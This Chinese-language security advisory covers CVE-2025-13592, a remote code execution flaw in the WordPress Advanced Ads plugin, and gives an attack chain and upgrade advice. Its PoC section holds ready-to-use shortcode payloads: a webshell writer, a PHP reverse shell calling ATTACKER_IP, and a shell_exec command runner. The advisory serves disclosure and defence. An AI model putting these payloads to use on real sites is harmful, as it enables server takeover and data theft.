CVE-2025-13592 CVSS 7.2 高危

CVE-2025-13592 WordPress Advanced Ads插件远程代码执行漏洞

披露日期: 2025-12-29

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-13592

漏洞类型

远程代码执行(RCE)

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

WordPress Advanced Ads插件

漏洞概述

CVE-2025-13592是WordPress Advanced Ads插件中的一个严重远程代码执行(RCE)漏洞。该漏洞存在于插件的短代码(Shortcode)处理功能中，具体位于'change-ad__content'参数。攻击者可以通过构造恶意请求，利用此参数注入并执行任意PHP代码。漏洞影响范围涵盖2.0.14及之前的所有版本。由于该插件广泛应用于WordPress网站用于广告管理，此漏洞可能影响大量网站。攻击成功可导致服务器完全沦陷，攻击者可以完全控制网站服务器，执行任意系统命令、安装后门、窃取敏感数据等恶意操作。鉴于CVSS评分达到7.2(高危)且无需用户交互即可利用此漏洞，建议所有使用该插件的用户立即采取修复措施。漏洞由Wordfence安全团队于2025年12月29日披露，发现者为[email protected]。

技术细节

该漏洞的根本原因在于Advanced Ads插件对'change-ad__content'短代码参数的处理存在安全缺陷。插件在处理短代码时，直接将用户可控的参数值传递给eval()或类似的代码执行函数，而未进行充分的输入验证和安全过滤。具体来说，当攻击者以编辑者(Editor)或更高权限用户身份在文章或页面中插入类似[advanced-ad change-ad__content='恶意代码']的短代码时，恶意代码将在服务器端被执行。漏洞文件位于includes/ads/class-ad-plain.php第36行附近，该文件在处理广告内容时未能正确转义或过滤用户输入。由于WordPress的权限模型中，Editor角色默认可以创建和编辑文章内容，因此攻击门槛相对较低。修复版本通过增加输入验证和参数白名单机制来解决此问题，用户应升级到2.0.15或更高版本以获得安全更新。

攻击链分析

STEP 1

步骤1

攻击者获取WordPress网站编辑者(Editor)或更高权限账户

STEP 2

步骤2

攻击者创建或编辑文章/页面，插入包含恶意代码的Advanced Ads短代码

STEP 3

步骤3

短代码被服务器解析，'change-ad__content'参数值被传递到危险的代码执行函数

STEP 4

步骤4

恶意PHP代码在服务器端执行，攻击者获得远程代码执行能力

STEP 5

步骤5

攻击者可以通过webshell或直接命令执行实现服务器完全控制

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress Advanced Ads Plugin RCE PoC - CVE-2025-13592 -->
<!-- Requires Editor or higher privileges -->

<!-- Method 1: Basic PHP Code Execution via Shortcode -->
[advanced-ad change-ad__content='<?php phpinfo(); ?>']

<!-- Method 2: Webshell Creation -->
[advanced-ad change-ad__content='<?php file_put_contents("shell.php", "<?php if(isset($_GET[\"cmd\"])){ system($_GET[\"cmd\"]); } ?>"); ?>']

<!-- Method 3: Reverse Shell Payload -->
[advanced-ad change-ad__content='<?php $sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3"); ?>']

<!-- Method 4: System Command Execution -->
[advanced-ad change-ad__content='<?php echo shell_exec($_GET["cmd"]); ?>']

<!-- Usage: After injecting the shortcode, access the page/post, then use: -->
<!-- http://target.com/page-with-ad/?cmd=whoami -->

影响范围

Advanced Ads插件 <= 2.0.14

防御指南

临时缓解措施

立即将Advanced Ads插件升级到2.0.15或更高版本。如果暂时无法升级，可临时禁用Advanced Ads插件或限制只有管理员可以编辑内容。同时建议使用Wordfence等安全插件监控可疑活动，并考虑在WAF层面添加针对短代码参数的过滤规则。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表